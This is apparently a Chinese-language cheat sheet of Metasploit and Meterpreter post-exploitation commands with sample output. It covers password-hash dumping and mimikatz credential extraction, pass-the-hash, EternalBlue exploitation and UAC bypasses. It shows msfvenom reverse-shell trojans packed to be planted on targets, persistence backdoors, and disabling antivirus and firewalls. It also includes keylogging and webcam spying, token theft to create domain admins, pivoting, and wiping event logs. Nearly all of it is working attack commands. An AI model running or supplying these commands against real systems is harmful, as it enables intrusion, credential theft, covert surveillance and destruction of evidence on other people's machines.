run post/windows/gather/smart_hashdump
得到的hash可以拿去https://cmd5.com/ 解密一下即是用户密码
#mimikatz
load mimikatz # 加载mimikatz模块
msv # 获取用户和hash值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户hash
#哈希传递
#利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf4ee:3db678
set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN
run
RDP
#getgui命令
#这里需要注意的是通过getgui命令,虽然可以成功添加用户,但是没有权限远程登录桌面,这里推荐使用enable_rdp脚本添加。
run getgui –h # 查看帮助
run getgui -e # 开启远程桌面
run getgui -u admin -p admin # 添加用户
run getgui -f 6666 -e # 3389端口转发到6666
#enable_rdp脚本
#通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667
远程桌面
enumdesktops # 查看可用的桌面
getdesktop # 获取当前meterpreter 关联的桌面
setdesktop # 设置meterpreter关联的桌面 -h查看帮助
run vnc # 使用vnc远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
后门植入
Persistence(通过启动项安装)
run persistence –h # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\Windows\System32
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址
利用 msfvenom 生成 木马
msfvenom 命令

中文版:
Options: -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload 的目标架构,这里x86是32位,x64是64位 -platform <platform> 指定 payload 的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: 'x00xff' -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表

构造 shellcode 常用命令
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -f c
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -f python
查看一个Payload具体需要什么参数
命令:msfvenom -p windows/meterpreter/bind_tcp --payload-options
自己本地生成的 bind_tcp 的 payload 如果不能在 Windows 机器上运行 (提示不是可用的Win32程序;如果大家也有遇到这种错误的话,推荐用 msfvenom 生成 c 的 shellcode,然后自己编译为exe 后运行。使用 msfvenom --list 可以查看所有的 payload encoder nops。
命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.152 LPORT=443 -f exe > c.exe
参数说明:
- -p payload
- -e 编码方式
- -i 编码次数
- -b 在生成的程序中避免出现的值
- LHOST,LPORT 监听上线的主机IP和端口
- -f exe 生成EXE格式
upx 加壳
说明:upx只是压缩壳工具;如果需要增大破解难度,需要添加加密壳。
upx -9 c.exe
Linux、window、android、php、asp、jsp、python、bash、perl 木马
下面是生成后门木马,只要想方设法放到目标机器上,并运行。然后在本地监听端口即可,
但是你需要有一个公网的ip
示例:生成 Windows 木马、连接木马
用法:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
示例:https://zhuanlan.zhihu.com/p/114973728
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.129 LPORT=4321 -f exe -o ailx13_love.exe
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > info
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.73.129
msf6 exploit(multi/handler) > set LPORT 4321
msf6 exploit(multi/handler) > exploit 或者执行 run
meterpreter > ?
核心 命令
=============
? 帮助
background 当前 session 放到 后端
bg background 的 别名
bgkill 结束一个 后端 meterpreter script
bglist 列出正在运行的 后端 scripts
bgrun 执行一个 meterpreter script,同时作为后端线程
channel 显示信息或控制活动 channel ( 通道 )
close 关闭一个 channel
detach 分离 meterpreter session (用于 http/https)
disable_unicode_encoding 禁用unicode字符串编码
enable_unicode_encoding 启用unicode字符串编码
exit 终止 meterpreter session
get_timeouts 获取当前会话超时时间
guid 获取 GUID
help 帮助
info Displays information about a Post module
irb 在当前会话中打开一个 Ruby shell
load 载入一个或者多个 meterpreter 扩展
machine_id 获取计算机的MSF ID
migrate 将服务迁移到其他进程 ( 注入到其他进程 )
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read 从 channel 读数据
resource 运行存储在文件中的命令
run 执行 meterpreter script 或者 Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 睡眠多少秒后再次连接
ssl_verify 修改SSL证书验证设置
transport Manage the transport mechanisms
use load 的别名,已经弃用。
uuid 获取 uuid
write 向 channel 写数据
Stdapi: 文件 系统 命令
============================
Command Description
------- -----------
cat
cd
checksum 检索文件的校验和
cp
del
dir
download 下载文件或者目录
edit 编辑文件
getwd 打印工作目录
getlwd 打印本地工作目录
lcat
lcd
lls
lpwd
ls
mkdir
mv
pwd
rm
rmdir
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或者目录
Stdapi: 网络 命令
===========================
arp 显示主机的 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示所有网络接口
ipconfig 显示所有网络接口
netstat 显示所有网络连接
portfwd 转发一个本地端口到远程服务
resolve 在目标上解析一组主机名
route 查看并修改路由表
Stdapi: 系统 命令
=======================
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程 id
getprivs 尝试启用当前进程可用的所有权限
getsid 获取 sid
getuid 获取 uid
kill 终止进程
localtime 显示目标系统日期、时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出运行的进程
reboot 重启远程电脑
reg 操作远程注册表
rev2self 在远程计算机上调用 RevertToSelf()
shell 进入远程系统 shell
shutdown 关闭远程电脑
steal_token 试图从目标进程窃取模拟令牌
suspend 暂停或恢复进程
sysinfo 获取有关远程系统的信息,例如:操作系统
Stdapi: 用户 接口 命令
===============================
enumdesktops 列出所有可访问的桌面和 windows工作站
getdesktop 获取 meterpreter 桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送按键
keyevent 发送按键事件
keyscan_dump Dump the keystroke buffer
keyscan_start 开始捕获按键
keyscan_stop 停止捕获按键
mouse 发送鼠标事件
screenshare 实时观察远程用户桌面
screenshot 截图
setdesktop 改变 meterpreters 当前桌面
uictl 控制用户界面组件
Stdapi: 摄像头 命令 ( Webcam Commands )
=======================
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 网络摄像头列表
webcam_snap 从指定的摄像头拍一个快照
webcam_stream 播放指定摄像头的视频流
Stdapi: 音频输出命令 ( Audio Output Commands )
=============================
play 在目标系统上播放一个波形音频文件(.wav)
Priv: 提升权限
======================
getsystem 尝试把权限提升到系统权限
Priv: 密码数据库命令
================================
hashdump 转储 SAM 内容
Priv: timestomp伪造时间戳
========================
timestomp 操作文件 MACE 属性
meterpreter >
木马 运行后,连接到 服务端,服务端会自动进程 peterpreter,

msf 常用命令
From:https://www.freebuf.com/sectool/210292.html

信息收集
发现目标网段的存活主机:
可以利用 auxiliary 这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scancer/smb/smb_version 存活的445主机
auxiliary/scanner/portscan/syn 端口扫描
auxiliary/scanner/telnet/telnet_version telent服务扫描
auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描
auxiliary/scanner/ssh/ssh_version ssh主机扫描
。。。。。。
如图:扫描模块信息

一般情况下我们在渗透测试的时候,如果在不知道资产的情况下,我们会把整个网端进行扫描存活主机,然后再对存活的信息收集信息,这样的话就可以缩短我们的渗透测试时间,而不盲目的去测试,有时候盲目信息收集会导致后期渗透的道路都是弯的,达不到预期的效果。
不管是端口扫描还是探测存活主机,都是要设置目标IP地址set rhosts ip地址,如果扫描整个网段的话,最后设置一下线程:set thread 线程数(根据情况设置)。

执行 run 命令开始扫描网段的存活主机,发现有7台服务器存活,这样的话我们就可以对这些存活主机进行下一步的信息收集,比如22、445、3389等敏感端口开放情况探测,在这里需要说明一下,以小白的渗透测试经验,一般我先不扫描整个网端,因为这样对目标主机有损耗,可以直接扫描有溢出漏洞的高危端口,如果有的话,那么就可以通过溢出进行提权,这样的方法也是一种捷径。相反的情况下,如果全端口扫描的话个人建议用nmap工具。

下面我们探测一下网段中开启445端口的主机,通过扫描发现网段中有3台主机开启了445端口,这样的话我们就可以在后期的漏洞探测中测试是否存在永恒之蓝漏洞。
Use auxiliary/scanner/smb/smb_version
Set rhosts 192.168.201.1/24 //设置目标主机地址
Set threads 30 //设置扫描线程
Run //执行扫描命令


前期其它的端口扫描的命令都是差不多的,下面我们介绍一下爆破的模块,在kali中有自己内置的密码本,当然你也可以用自己的字典。你看多方便,想用就用,不用就不用。
内置密码表的地址:/usr/share/wordlists/metasploit/

一般爆破的话我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用的端口
1)auxiliary/scanner/mysql/mysql_login
2)auxiliary/scanner/mssql/mssql_login
3)auxiliary/scanner/ssh/ssh_login
4)。。。。。。
漏洞探测
接下来我们通过前期的信息收集,可以得到目标主机中有三台主机开启了445端口,我们可以进一步探测是不是存在永恒之蓝漏洞。我们可以用以下命令来探测一下:
在之前做培训的时候,本地搭建测试环境发现2008 R2的服务器漏洞验证的时候就直接蓝屏,具体原因不清。所以大家在渗透测试的过程中一定要合理的评估漏洞的可用性。通过扫描发现有一台目标主机存在永恒之蓝漏洞。其实除了永恒之蓝,也有许多其它的溢出漏洞,在这里就不一一详解了,原理都一样。
use auxiliary/scanner/smb/smb_ms17_010 //使用永恒之蓝探测模块
how options 查看需要添加的信息
set rhosts 192.168.205.1/24 //设置扫描目标主机IP地址
set threads 30 //设置扫描线程
Run //开启扫描


漏洞利用
通过漏洞探测阶段我们发现192.168.205.150这台目标主机存在永恒之蓝漏洞,那我们可以使用MSF中的攻击模块进行漏洞攻击,看看能不能获取到目标主机的webshell,这样的话,我们就可以通过溢出漏洞来搞内网的横向扫描。执行以下命令:
use exploit/windows/smb/ms17_010_eternalblue //使用永恒之蓝攻击模块
set payload windows/meterpreter/reverse_tcp //设置一个Payload,使攻击机接受来自目标主机的session
set rhosts 192.168.205.150 //设置目标主机地址
set lhost 192.168.205.148 //设置接受payload的地址,我们这里设置MSF的地址
set LPORT 5555 // 设置接受的端口,这个自己自定义,只要不与其它端口冲突就可以
Exploit //执行攻击命令


权限提升 ( 什么是UAC、UAC如何运行 )
当我们得到一个目标主机返回的shell后,我们第一步要看的是当前用户是不是管理员权限,如果不是管理员权限,这个时候需要我们去提权。我们可以利用kaili中的本地提权的方式,下面介绍一下本地提权绕过UAC的方式提升当前用户权限,以下是详细的命令以及步骤:
我们首先介绍一下这个UAC到底是什么东东,是怎么运行的?
1.什么是UAC?
Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
2.UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
因为有的用户是没有管理员权限,没有管理员权限是运行不了哪些只能通过管理员权限才能操作的命令。比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作。
最直接的提权命令:getsystem
绕过UAC防护机制的前提是我们首先通过explloit获得目标主机的meterprter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。在这里我就不直接演示了,直接上命令,自己多练习练习即可,所话说熟能生巧。我们需要把获取到的session保存到后台,执行background

方法一:
use exploit/windows/local/bypassuac //将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
set session 1 //使用sessino 1
Exploit //执行权限提升的攻击模式
执行完毕成功后,再次查询当前用户的权限就会提升到管理员权限。我这里已经是管理员权限了,所以会出现这样的提示。

方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。执行完毕以下命令,当前用户权限就会变为管理员权限。
use exploit/windows/local/bypassuac_fodhelper
set session 1
Exploit
方法三:通过COM处理程序劫持
首先介绍一下这个COM处理程序劫持,此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
use exploit/windows/local/bypassuac_comhijack
set session 1
Exploit
方法四:通过Eventvwr注册表项
这个模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
use exploit/windows/local/bypassuac_eventvwr
set session 1
Exploit
以上的本地提权的模块大家可以本地去测试一下,除了这些某块还有其它的通过直接通过incognito中的add_localgroup_user提升、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc域权限提升等其它的权限提升方法。小白在内网渗透测试的过程中发现一些客户的服务器大多数为2003、2008服务器,很少2012、2016服务器。
内网渗透
既然目标主机shell也反弹了,用户权限从低权限也提升到了管理员权限,那么接下来就是我们进行内网渗透的时候了,内网渗透涉及的面比较广,在这一节也会详细的梳理一下常用的命令。

cat //查看文件内容
Getwd //查看当前工作目录
Download //下载文件到本地
// 本地创建一个1.txt,将1.txt上传到目标服务器的桌面位置:
Upload /opt/1.txt 目标主机

在目标主机上面创建一个pass.txt,内容为hello hack!!!!,在MSF上执行download下载命令,将pass.txt下载到攻击机上面。

命令格式:Download 目标主机文件 本地文件路径

ipconfig / ifoncig //查看目标主机IP地址;
arp –a //用于查看高速缓存中的所有项目;
route //打印路由信息;
netstat -na //可以显示所有连接的端口
Rdesktop //使用rdesktop来连接 -u 用户名 -p 密码, 这个命令需要在kali上面安装一下。
当我们获取到管理员账号密码的时候就可以直接本地远程登陆目标主机。

其中路由信息对于渗透者来说特有用,因为攻击机处于外网,目标主机处于内网,他们之间是不能通信的,故需要添加路由来把攻击机的IP添加到内网里面,这样我们就可以横扫内网,就是所谓的内网代理。
首先我们需要获取网段,然后再添加路由,添加成功后就可以横向扫描内网主机。
run get_local_subnets //获取网段
run autoroute -s 192.168.205.1/24 //添加路由
run autoroute -p //查看路由
run autoroute -d -s 172.2.175.0 //删除网段
run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
meterpreter > background //后台sessions
系统信息
Ps // 查看目标主机的进程信息
Kill // 杀掉某个进程
Getuid // 查看权限
Pwd // 查看当前目录路径(目标主机)
Sysinfo // 查看目标主机信息,比如版本信息等
Shutdown // 关机操作(谨慎操作)
Post 模块信息
这个用的比较多,比如检查目标系统是不是虚机、安装了哪些软件、补丁信息等。其实这个模块不仅限于这些模块,有兴趣的大佬可以去玩一玩。
Run post/windows/gather/checkvm //查看目标主机是否为虚机;
run post/windows/gather/enum_applications //获取目标主机安装软件信息;
Run post/windows/gather/enum_patches //查看目标主机的补丁信息;
run post/windows/gather/enum_domain //查找目标主机域控。我本地没有域控;
run post/windows/manage/killav //关闭杀毒软件;
run post/windows/manage/enable_rdp //开启3389远程桌面;
run post/windows/gather/enum_logged_on_users //列举当前登陆过主机的用户;
run post/windows/gather/credentials/windows_autologin //抓取自动登陆的用户名和密码;
run post/windows/manage/enable_rdp username=xxx password=xxx //添加远程桌面的用户(同时也会将该用户添加到管理员组)
Load 命令
用来加载模块的,在测试中用的最多的就是抓取用户密码的这个模块。
load mimikatz // 加载mimikatz,用于抓取密码,不限于明文密码和hash值;
Run hashdump // 获取用户密码hash值
msv // 获取的是hash值
Ssp // 获取的是明文信息
wdigest // 读取内存中存放的账号密码明文信息
mimikatz_command -f samdump::hashes // 获取用户hash
mimikatz_command -f handle::list // 列出应用进程
mimikatz_command -f service::list // 列出服务
后门持久化、权限维持
Persistence 模块
Persistence 模块帮助信息:Run persistence -h // 查看帮助信息;
run persistence -U -i 5 -p 5555 -r 192.168.205.148
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。
Metsvc 模块
模块帮助:run Metsvc -h
直接运行 run metsvc,命令执行完毕后在目标主机上面就会有一个meterpreter这个服务,类型为自动启动。开启另一个客户端用hander下的监听模块,重新获取shell,这里的监听的端口为31337


痕迹清除
在渗透入侵的过程中难免会留下一下日志信息痕迹,使用 clearev 命令是最直接的删除日志的命令,擦除留下的痕迹。运行命令后目标主机上面的日志会全部删除。

Run getgui -e //开启远程桌面;
Run getgui -u cmdback -p 123123 //添加用户
Run getgui -f 4446 -e //将目标主机上面的3389端口转发到4446
netsh advfirewall set allprofiles state off //关闭防火墙
Webscan_list //查看摄像头列表;
Webscan_stream //摄像头视频获取;
Webscan_chat //查看摄像头接口;
steal_token 试图窃取指定(PID)进程的令牌
use incognito //加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens –u //列出目标主机用户的可用令牌
list_tokens –g //列出目标主机用户组的可用令牌
keyscan_start //开启键盘记录功能
keyscan_dump //显示捕捉到的键盘记录信息
keyscan_stop //停止键盘记录功能
run post/windows/gather/enum_chrome //获取谷歌缓存
run post/windows/gather/enum_firefox //获取火狐缓存
run post/windows/gather/enum_ie //获取IE缓存
screenshot //截屏
background # 让meterpreter处于后台模式
sessions -i number # 与会话进行交互,number表示第n个session
quit # 退出会话
shell # 获得命令行
cat c:\\boot.ini # 查看文件内容
getwd # 查看当前工作目录 work directory
upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上
download 0xfa.txt /root/Desktop/ # 下载文件到本机上
edit c:\\boot.ini # 编辑文件
search -d d:\\www -f web.config # search 文件
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
getsystem # 提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11" # 修改文件的创建时间
迁移进程
meterpreter > ps
自行选择PID
meterpreter > migrate pid
提权操作
getsystem 大部分都会失败 他只尝试了4个Payload。
meterpreter > getuid
Server username: Testing\Croxy
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
使用MS14-058之类的Exp进行提权
meterpreter > background
[*] Backgrounding session 3..
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
获取敏感信息
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近的文件操作
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run scraper #获取常见信息
# 保存在 ~/.msf4/logs/scripts/scraper/ 目录下
键盘记录
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir <Return> cd <Ctrl> <LCtrl>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
网络嗅探
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/test2.cap
获取hash
meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TESTING
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+] Croxy:"Whoareyou"
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+] test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
获取明文密码
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : Testing
BootKey : 8c2c8d96e92a8ccfc407a1ca48531239
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Croxy ; Testing ; hehe }
[1] { test ; Testing ; test }
通过hash获取权限
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SHARE ADMIN$ yes The share to connect to, can be an admi n share
(ADMIN$,C$,...) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentic ation
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877)
内网渗透
端口转发 (将远程主机3389端口转发到本地1234端口上)
meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54
[*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80
内网代理
meterpreter > run autoroute -s 10.42.0`.54
[*] Adding a route to 10.42.0.54/255.255.255.0...
[+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.42.0.54 255.255.255.0 Session 1
msf auxiliary(socks4a) > ifconfig
[*] exec: ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx
SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子)
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了。
SSH代理
msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf > set USER test
USER => test
msf > set PASS reverse
PASS => reverse
msf > set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session
msf > exploit -z
[*] Connecting to dsl@192.168.56.3:22 with password reverse
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300
[*] Session 1 created in the background.
msf > route add 192.168.57.0 255.255.255.0 1
之后就是愉快的内网扫描了。
当然还是推荐直接用ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1
窃取 token
meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
IIS APPPOOL\zyk
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
QLWEB\Administrator
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > impersonate_token QLWEB\\Administrator
[+] Delegation token available
[+] Successfully impersonated user QLWEB\Administrator
meterpreter > getuid
Server username: QLWEB\Administrator
meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户
meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98 #将账户添加至域管理员组
内网扫描
meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit
后门
一个vbs后门,写入了开机启动项;但是容易被发现,还是需要大家发挥自己的智慧。
meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1
[*] Running Persistance Script
[*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc
